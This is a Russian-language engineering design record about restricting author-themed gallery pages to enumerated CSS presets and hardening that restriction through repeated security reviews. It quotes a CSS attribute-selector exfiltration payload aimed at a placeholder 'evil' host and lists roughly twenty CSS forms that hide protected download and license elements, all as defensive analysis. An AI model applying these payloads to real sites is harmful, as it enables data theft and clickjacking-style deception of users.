Авторское оформление страницы издания галереи — тема как пресеты (AD-1695)
Статус: срез сделан — см. § 9. Родитель — идея основателя: страницу
отдельной модели можно оформить в СВОЁМ визуальном стиле (пример — модель
Vulpes в аниме-стиле, вся страница в том же стиле). Реализация — раздел
«Авторское оформление страницы издания — тема (AD-1695)» в
docs/dev/design-gallery.md; здесь — вопрос, который решался, и почему
выбор пал именно на эту механику.
1. Вопрос
Можно ли дать автору издания оформить СВОЮ страницу галереи без того, чтобы
это превратилось в дыру безопасности или в способ спрятать функциональный
элемент (кнопку скачивания, лицензию)?
2. Почему НЕ произвольный CSS и НЕ произвольный цвет
CSP приложения несёт style-src с 'unsafe-inline' (замер шире strict CSP на
script-src — .claude/rules/frontend.md). Свободный CSS от пользователя на
такой политике даёт:
- дефейс — любой селектор, включая чужие компоненты (топбар, тосты);
- эксфильтрацию через
url()— атрибутивный CSS-селектор (input[value^= "a"] { background: url(https://evil/?a) }) умеет читать значения полей
посимвольным перебором без единой строки JS; - подмену UI поверх функциональных элементов —
position: fixedповерх
кнопки «Скачать» с прозрачным фоном превращает клик в клик по чужому
элементу (classic clickjacking, здесь — без iframe).
Замер по шести изученным UGC-площадкам, позволяющим пользователю оформить
СВОЮ страницу (профили/визитки/портфолио — тот же класс поверхности, что
карточка издания): Linktree, Carrd, Notion (публичная страница), itch.io
(страница игры), Behance, GitHub Pages (через Jekyll-тему). Из шести только
Carrd пускает пользователя к свободному CSS без ручного модераторского
одобрения — и её собственные домены массово фигурируют в фишинговых кампаниях
именно из-за этого (открытая генерация страниц с произвольным видом на
доверенном домене). Остальные пять — закрытое перечисление пресетов/тем,
редактируемых через панель, не через код. Это и есть механика, применённая
здесь.
3. Почему не настройка админки, а поле издания
Тема живёт в DesignRelease.theme, не в отдельной таблице/флаге раздела:
авторство карточки подключает параллельный тикет (AD-1699, «владелец
издания», публикация не-администратором), и тема ОБЯЗАНА пережить переход от
«админ выкладывает» к «автор выкладывает» без переделки схемы — механизм
рассчитан на то, что владельцем поля скоро станет не только require_admin.
4. Механика — закрытое перечисление, не свободный ввод
DesignReleaseTheme(str, Enum): platform (дефолт), ember, blueprint,
night. Приём значения — С ЯВНОЙ проверкой членства в перечислении, отказ на
чужое значение (400, машинный код) — см. gallery_admin._parse_theme.
Расширение набора пресетов в будущем — аддитивное значение enum, а не смена
механики.
5. Токены, не второй словарь имён
AD-1696 (влит непосредственно перед этим тикетом) уже свёл поверхности
skyforge.css к слою семантических токенов ролей (--text/--muted/
--border/--primary/--surface/…). Пресет темы страницы издания
переиспользует ИХ, в скоупе [data-gallery-theme="<пресет>"] — заводить
параллельный набор --gt-* означало бы дублировать роли, которые уже
существуют, ровно тот дубль, который канон dev-approach.md называет
ревью-флагом.
color-mix() рассмотрен и НЕ применён. Эталонный макет комплекта VULPES
25 (три темы — Ember/Blueprint/Night, по пять переменных на тему: ink/orange/
paper/muted/line) берёт производные оттенки через color-mix(in srgb, ...)
от акцента. В skyforge.css этот приём сейчас не встречается вовсе, а
контраст пресетов ОБЯЗАН быть посчитан из значений, зафиксированных в
тексте листа (мера соразмерна измеряемому — .claude/rules/testing.md):
color-mix() резолвится браузером в рантайме, и тест либо не увидел бы
фактический цвет вовсе, либо дублировал бы арифметику смешения краски рядом
с тестом. Производные значения (--primary-2, «яркая» вариация акцента для
hover/focus-ring) поэтому — свои литералы на пресет, подобранные так, чтобы
пройти контраст WCAG 2.2 наравне с основными.
6. Неприкосновенный UI — как защищён
Кнопка скачивания, таблица файлов, лицензия и ссылки на файлы прежних
редакций обёрнуты одним data-gallery-protected — внутри него
gallery_theme.css пере-объявляет ВСЕ потребляемые темой custom properties
обратно в платформенные литералы. Это работает надёжно ровно потому, что
платформа сейчас закреплена на теме dark без переключателя (AD-422,
web/static/js/skyforge/app.js): защитный блок ссылается на конкретные hex,
а не на var(--x) вышестоящего :root (косвенность здесь не спасает —
custom properties резолвятся по ближайшему объявлению НА ПУТИ К ЭЛЕМЕНТУ, а
не «откуда угодно из :root», поэтому alias вида --chrome-text: var(--text)
внутри защищённого блока всё равно подхватил бы локально переопределённый
--text). Если платформа когда-нибудь вернёт переключатель тёмная/светлая —
защитный блок придётся развести по [data-theme="light"] тем же приёмом, что
раньше использовался в skyforge.css до AD-1696.
Крошки, шапка авторизации и тосты защиты не потребовали структурно: они не
потомки контейнера темы (топбар/тосты рендерятся base.html вне {% block
content %}) либо красят себя СВОИМ токеном, которого тема не трогает
(.breadcrumbs → --breadcrumbs-text, объявлен AD-1696).
7. Находки независимого арх/тест-ревью (MR !1389) — исправлены до мержа
Первый проход MR получил один MAJOR от арх-ревью и три MAJOR от тест-ревью
(все — на реализации, а не на постановке); все четыре — доказаны мутацией с
изначально зелёным прогоном, все четыре исправлены в той же ветке:
- Голый
[data-gallery-theme]ловил и дефолт. Правило акцентного
бейджа версии (.meta .badge) сперва селектило голый атрибут-контейнер —
а у платформенной темы (дефолт) он тоже стоит, шаблон рендерит его
ВСЕГДА. Правило понижало контраст бейджа с 8.06 (платформенные
--status-info-*) до 3.32 на КАЖДОЙ существующей странице. Чинится
перечислением конкретных значений пресетов в селекторе; та же логика
закрыта тестом (TestPlatformThemeIsIdentityMapping). - Матрица контраста не мерила фон, на котором реально сидит текст.
.card(панели описания/файлов) красится--card-gradient-from/
--card-gradient-to, а НЕ--surface— эти два токена изначально не
переопределялись пресетом, поэтому контраст-тест мерил--textпротив
--surface, а на экране текст сидел на непеределанном платформенном
фоне. Чинится переопределением обоих токенов (равными--surface
пресета — плоская панель без альфа-градиента, разбор — докстринг
gallery_theme.css). - Матрица покрывала пять пар из десяти переопределяемых ролей.
--surface-2/--surface-3/--primary-2не входили ни в одну пару —
их можно было испортить без единого красного теста. Чинится реестром
_TOKEN_USAGE(пара «роль → цитата РЕАЛЬНОГО объявления в CSS, где эта
роль используется») плюс тестом полноты: каждый токен, который
переопределяет хотя бы один пресет, обязан встретиться в реестре. - Проверка вложенности защищённого блока смотрела на порядок подстрок,
не на структуру DOM.text.index(...)доказывает порядок, а перенос
закрывающего</div>РАНЬШЕ (HTML остаётся сбалансирован) этот порядок
не меняет — 10/10 тестов оставались зелёными. Чинится разбором дерева
тегов (_AncestryProbe, стандартныйhtml.parser.HTMLParser). - Страж «функциональный UI не потребляет токены» был чёрным списком.
Чёрный список запрещённых подстрок дырявый по построению — он не знает
имён атрибутов, которых ещё нет в списке (data-gallery-files-empty,
.passport-table,.btn-primary). Чинится белым списком: любой
селектор файла, которого нет в explicit-перечислении легальных, —
находка.
8. Второй проход независимого ревью — тот же класс дефекта, на слой ниже
AD-1699 («владелец издания и «Мои публикации»») влился в develop, пока этот
MR ждал ревью, и второй проход застал уже смерженную ветку. Найдено четыре
находки — три MAJOR, каждая продолжает класс дефекта из § 7 на следующий
уровень абстракции, и одна пара «показ ↔ хранение», разомкнутая слиянием
двух веток:
- Тот же голый-атрибут-дефект (§ 7 п.1), перенесённый с бейджа на фон
защищённого блока.[data-gallery-theme] [data-gallery-protected]
(селектор СБРОСА неприкосновенного UI) остался голым, хотя правило бейджа
рядом уже было исправлено — правки одного класса в одном файле не
гарантируют друг друга. Чинится тем же приёмом: перечислением трёх
конкретных пресетов. - Страж голого атрибута (§ 7 п.1 тест) ловил только ТОЧНОЕ строковое
совпадение с"[data-gallery-theme]"и не видел его же в роли ПЕРВОГО
КОМПАУНДА потомкового селектора — то есть не поймал находку (1) сам.
Переписан на регэксп «первый компаунд ЛЮБОГО селектора файла — атрибут с
конкретным значением пресета» (_CONCRETE_THEME_COMPOUND_RE): он
проверяет ИМЕННО ту часть селектора, что решает, какой пресет матчит
правило, а не то, что стоит правее. - Белый список СЕЛЕКТОРОВ (§ 7 п.5) не покрывал ДЕКЛАРАЦИИ внутри
разрешённого правила — следующий слой того же класса. Правило с
легальным селектором иdisplay:noneвнутри прячет ВЕСЬ неприкосновенный
UI, и белый список селекторов такое правило пропускает: сам селектор ни в
чём не виноват. Мутация ревью (display:noneвнутри
[data-gallery-protected]) дала 45 из 45 зелёных. Чинится ВТОРЫМ белым
списком — на этот раз для СВОЙСТВ объявлений
(_ALLOWED_DECLARATION_PROPERTIES—color/background/border-color
плюс любые custom properties;display/visibility/opacity/
font-size/position/z-index/content/transformне входят и не
могут быть добавлены без отдельного пересмотра списка). - Пара «показ ↔ хранение», разомкнутая слиянием. AD-1699 добавил ТРЕТЬЮ
поверхность правки издания (PUT /api/my/gallery/{id}, владелец) и
MCP-инструментupdate_gallery_release— оба зовут ОБЩИЙ
ReleaseTextFields.apply_to, у которогоthemeбыла ОБЯЗАТЕЛЬНЫМ полем с
дефолтом"". У экрана владельца нет<select>темы (её задаёт только
админская форма), поэтому тело правки владельца НЕ несётthemeвовсе —
иapply_toтрактовала отсутствие поля как пустую строку, а пустую
строку как явный сброс на платформенную тему. Итог: ЛЮБАЯ правка описания
владельцем молча стирала пресет, выставленный админом, причём
serialize_owned_releaseещё и не отдавала поле в ответе — round-trip был
невозможен даже там, где поле можно было бы прислать обратно. Чинится
различением «поле отсутствует в теле» ("theme" in self.model_fields_set, pydantic заполняет это по факту присутствия ключа
при валидации/конструировании) от «поле прислано пустым»: первое — «не
менять», второе остаётся законным «сбросить на платформенную». Прогнано
по ВСЕМ вызывающимapply_to(админ create/update, владелец
create/update, оба MCP-инструмента) — регрессия воспроизведена и закрыта
тестом на каждой поверхности, где она была РЕАЛЬНО достижима (владелец,
REST и MCP); на админской и create-путях риска не было (тема уже
отправляется явно или уже на дефолте), но тест на симметрию добавлен и
туда.
Исход: перечень отвергнут целиком (AD-1705)
Третий проход ревью (уже по смерженному AD-1695) показал, что находки § 8 п.3
были не «ещё одной дырой», а ТРЕТЬИМ витком одного класса: защиту трижды
записывали перечнем, и трижды её обходили НА УРОВЕНЬ НИЖЕ того, на котором
перечень был закрыт — имя селектора → свойство внутри легального селектора →
значение легального свойства. Ревьюер прогнал по develop пять форм обхода, и
ВСЕ ПЯТЬ дали зелёный прогон:
[data-gallery-theme="ember"] [data-gallery-protected]{color:transparent}—
весь защищённый текст невидим (164/164 зелёных);- то же со значением
color:#0a1b2a— литерал, равный собственному фону
блока; background:transparent— снимает непрозрачную подложку-защиту (её страж
проверял НАЛИЧИЕ объявления в первом блоке, а не итог каскада);- ВТОРАЯ копия легального правила —
_protected_block()возвращал ПЕРВОЕ
совпадение иreturn-ил, а по каскаду побеждает последнее (49/49 зелёных); - объявление БЕЗ завершающей
;— регэксп_declared_tokensтребовал её и
объявления просто не видел (49/49 зелёных).
Плюс @import url(...) не был виден НИ ОДНОМУ из белых списков: оба были
закрыты над «правилами вида селектор{…}», а не над файлом.
Вывод, зафиксированный тикетом: перечисление здесь не работает в принципе.
«Спрятать элемент» не требует нового ВИДА правила — достаточно нового значения
уже разрешённого свойства, второй копии уже легального правила или
пунктуации. Шестой список отвергнут; вместо него выбран путь B постановки —
структурное сужение самого листа до перечислимой грамматики (S1–S6,
tests/gallery_theme_sheet.py), при которой текстовая проверка становится
достаточной ПО ПОСТРОЕНИЮ, плюс измерение РЕЗУЛЬТАТА на отрендеренной
странице (D1). Почему не путь A (полноценный прогон каскада в node): в
репозитории нет ни одной npm-зависимости (node_modules отсутствует,
package.json — только объявления {"type":"module"} для четырёх каталогов),
то есть ни jsdom, ни postcss взять неоткуда, а писать СВОЙ движок каскада
означало бы завести вторую модель браузера — ровно то, слабость чего и
породила все пять обходов. Сужение листа делает эту модель НЕНУЖНОЙ:
пространство возможных правил конечно и проверяемо целиком.
Что закрыто и чем (каждая форма — отдельный тест с говорящим именем, таблица
_ATTACK_FORMS): формы 1–2 — S4 (значение настоящего свойства только
var(--роль)); форма 3 — S4/S5; форма 4 — S3 (селектор ровно в одном
правиле); форма 5 — тотальный разбор без требования ; плюс сверка обратной
сборкой; @import/@media/незакрытый комментарий — S1; !important — S4;
display:none — S4. Шестая форма, придуманная и прогнанная при исполнении
тикета, оказалась ДРУГОГО вида и потребовала нового правила: [data-gallery-
theme="ember"]{color:var(--surface)} — правило вообще не адресует защиту, но
color НАСЛЕДУЕТСЯ, и весь защищённый текст красится в цвет собственной
подложки защиты. Закрыто S6 (правило-предок защиты не красит) и продублировано
измерением на разметке. Мелкие находки того же ревью починены здесь же:
сверка цитаты реестра требует ОДНОГО правила, а не двух независимых подстрок
файла; контраст меряется ещё и по САМИМ объявлениям листа (правило
…{background:var(--primary);color:var(--primary)} давало 1.0 при зелёном
реестре); докстринг листа больше не ссылается на несуществующее имя теста;
pytest.raises(Exception) сужен до Refusal.
Второй проход ревью: молчание принималось за отсутствие нарушения
Ревьюер выполнил требование основателя буквально — придумал СЕМНАДЦАТУЮ форму,
и она прошла ЗЕЛЁНОЙ (1134 теста, 0 падений):
[data-gallery-theme="night"] .card{background:var(--text);color:var(--on-accent)}
плюс запись селектора в инвентарь и поправка счётчиков. На живой странице темы
night это давало контраст 1.09 на таблице файлов: <td> своего color
не имеет и наследует #06120e от .card, а подложка панели остаётся
платформенной #0a1b2a из background: var(--surface). Состав файлов
становился невидим.
Причин было три, и каждая — самостоятельная дыра.
- S6 — синтаксический признак (префикс цепочки), и
.cardпрефиксом
защищённого селектора не является. Признак был честно назван неполным в
докстринге, но неполноту закрывал D1, а он — - мерил РОВНО ОДНУ страницу (
/gallery/ember-wing). Селекторы
blueprint/nightна ней не матчат ничего, и - на пустом матче функция МОЛЧАЛА. Тишина принималась за «нарушения нет» —
то есть чем дальше правило от измеряемой страницы, тем безопаснее оно
выглядело.
Лечение — измерение вместо тишины: D1 меряет страницу КАЖДОГО пресета (набор
берётся из DesignReleaseTheme, не из списка в тесте) и требует, чтобы
селектор СВОЕГО пресета что-то сматчил, а селектор ЧУЖОГО — не сматчил ничего.
Это закрывает и будущие пресеты: новое значение перечисления обязано завести
себе страницу измерения, иначе прогон краснеет.
Тем же проходом закрыты: пара «пресет ↔ его сброс в защите» (полнота
сверялась по именам РОЛЕЙ, поэтому четвёртый пресет без строки в правиле
защиты давал 202 passed при том, что весь неприкосновенный UI на его страницах
потреблял токены темы); рукописная копия перечисления пресетов в тесте
(из неё собираются регэксп S2, параметризация контраста и набор страниц D1 —
значение enum, не попавшее в копию, выпадало бы разом из всех проверок);
поиск маркера защиты подстрокой (форма [data-gallery-protected="1"]
выводила правило из-под S5/S6 и из ветки D1 «правило защиты» — теперь значение
у этого атрибута запрещено грамматикой).
Восемнадцатая форма, найденная при доработке: правило по узлу, который
рендерится ТОЛЬКО АНОНИМУ. Кнопка «Войдите, чтобы скачать»
(data-gallery-download-login) живёт в ветке {% if not user %} ВНУТРИ
защиты, и color:var(--surface) прячет главный призыв к действию ровно у тех,
кому он адресован. Измерение под логином этого узла не видит вовсе. Поэтому D1
меряет ОБА состояния посетителя, а требование «селектор что-то сматчил»
формулируется как «хотя бы в одном состоянии» — иначе законное правило по
анонимному узлу краснело бы на странице под логином. Прогнанная сверх этого
разведка (.meta внутри защиты, .table-wrap, .btn-primary, предок по
цепочке .card .card-body) даёт красный на всех четырёх, а законное правило
вне защиты (.section-sub) остаётся зелёным — это и есть проверка на ложную
красноту, без которой «ловит всё» неотличимо от «ловит что попало».
Третий проход: третий канал влияния и корень, которого не было
Форма 19 прошла зелёной (219 passed):
[data-gallery-theme="ember"] .card { --status-info-bg:#1a0f08; --status-info-text:#1a0f08;
--status-info-border:#1a0f08; --panel-tint:#1a0f08; }
Бейдж «Current» истории редакций лежит ВНУТРИ защиты и красится в
skyforge.css через --status-info-*; токены наследуются от .card внутрь,
а сброс защиты их не содержал. Контраст 8.06 → 1.00. Слепы были все три
слоя сразу: S4 разрешал custom property с литералом где угодно; S5 сверял
набор ПРЕСЕТОВ, а не набор ТОКЕНОВ; S6 и D1 смотрят на покрасочные
объявления, а их у правила нет вовсе.
Корень, названный ревьюером: множество «токены, которые ПОТРЕБЛЯЕТ
защищённый UI» нигде не выводилось из реальности. Оно было рукописным
списком ролей — и потому «полнота сброса» была полна лишь относительно самой
себя.
Сделано два структурных шага, оба вычислением, а не перечнем.
- Набор потребляемых токенов выводится из реальности. Узлы внутри
[data-gallery-protected]берутся с отрендеренной страницы, к ним
подбираются правилаskyforge.css(грубый разбор, сознательно
НАДмножественный — ошибка возможна только в безопасную сторону: лишнее
правило добавит лишний токен в набор обязательных), из объявлений
извлекаются всеvar(--…), набор замыкается по ссылкам в:root. Каждый
такой токен обязан стоять в блоке сброса. Вычисление немедленно нашло
восемь недостающих:--status-info-bg/-border/-text,--panel-tint,
--tint-accent-08,--tint-accent-12,--hero-lead-text,
--font-display. - Запрещено МЕСТО объявления токена (S7): custom property выразим только
в блоке пресета (селектор из одного компаунда) или в блоке сброса. Форма 19
становится невыразимой по построению, а не пойманной по имени токена —
перечислять «опасные» токены значило бы снова завести список.
Чтобы блок сброса мог пришпилить ЛЮБОЕ платформенное значение (rgba(),
список шрифтов), грамматика значений в нём ослаблена до «любой литерал, но не
var()» — и это СТРОЖЕ прежнего «только hex»: S5 сверяет каждый литерал с
:root побайтово, то есть подходит ровно одно значение.
Двадцатая форма, найденная при доработке тем же приёмом: набор
потребляемых токенов считался по странице ПОД ЛОГИНОМ, а кнопка «Войдите,
чтобы скачать» лежит внутри защиты и рендерится ТОЛЬКО анониму — она тянет
--accent-gradient-from/-to и --accent-shadow, которых в наборе не было.
Тот же класс, что форма 18, применённый к новому вычислению: набор теперь
считается объединением по ОБОИМ состояниям посетителя, три токена добавлены в
сброс.
Заземление обеих сторон: удаление ЛЮБОГО из сбросов (--status-info-bg,
--panel-tint, --accent-shadow) роняет test_every_token_consumed_by_
protected_ui_is_reset на всех трёх пресетах, а разведка после правок
(маркер защиты в середине цепочки; токен статуса в самом блоке пресета; токен
CTA в блоке пресета; токены из правила по .card-body) даёт красный на всех
четырёх при зелёном законном правиле вне защиты.
9. Итог
Срез реализован тикетом AD-1695: поле модели, разворачивание enum в сторе,
приём значения формой с проверкой членства (400 на чужое), три пресета сверх
платформенного (Ember/Blueprint/Night), защита неприкосновенного UI по ДВУМ
осям — какие селекторы легальны и какие свойства легальны внутри них (§ 7
п.2, § 8 п.3), контраст WCAG 2.2 девяти пар для каждого пресета, выведенных
из реального использования токена в CSS, а не заданных руками (§ 7 п.3) —
числами, посчитанными из значений листа (tests/test_gallery_theme.py), и
поле, переживающее правку с ЛЮБОЙ из трёх поверхностей (админ, владелец,
MCP) без потери значения (§ 8 п.4). Что осталось ЗА рамками этого тикета и не
является техдолгом, а осознанной границей: (а) свой <select> темы на
экране владельца «Мои публикации» — поле уже принимает значение от этой
поверхности (REST/MCP), UI для него заводится отдельным тикетом; (б) светлая
тема платформы — поле и защитный блок написаны так, что появление
[data-theme="light"] потребует развести защитный блок на два (см. § 6), а
не переписывать механику.